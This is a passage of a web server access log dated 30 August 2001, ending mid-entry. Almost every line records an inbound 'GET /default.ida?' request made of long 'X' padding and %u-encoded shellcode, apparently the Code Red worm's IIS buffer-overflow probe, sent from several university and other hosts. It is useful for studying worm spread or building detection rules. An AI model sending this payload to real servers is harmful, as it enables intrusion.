/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 02:06:40: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 02:34:28: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 03:16:02: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 03:59:04: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 04:11:17: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 04:22:51: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 04:24:41: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 04:26:11: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 04:43:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 04:44:41: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 04:54:07: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 04:57:37: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 05:09:44: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 05:15:45: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 05:42:49: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 06:05:47: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 06:38:08: YOGH [61.141.GD.CN] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 06:41:39: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 06:46:20: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 07:00:58: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 07:22:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 07:54:37: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 08:20:14: scilla.poly.edu [128.238.42.9] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 08:25:47: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 08:38:36: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 08:57:09: r62h47.res.gatech.edu [128.61.62.47] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 09:12:48: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 09:21:55: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 09:30:33: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 09:47:16: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 10:37:08: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 11:04:00: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 11:05:46: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 11:19:40: [61.144.136.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 11:41:45: r77h126.res.gatech.edu [128.61.77.126] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 11:45:23: [206.47.90.78] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 12:26:00: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 12:26:19: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010830 12:26:38: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET 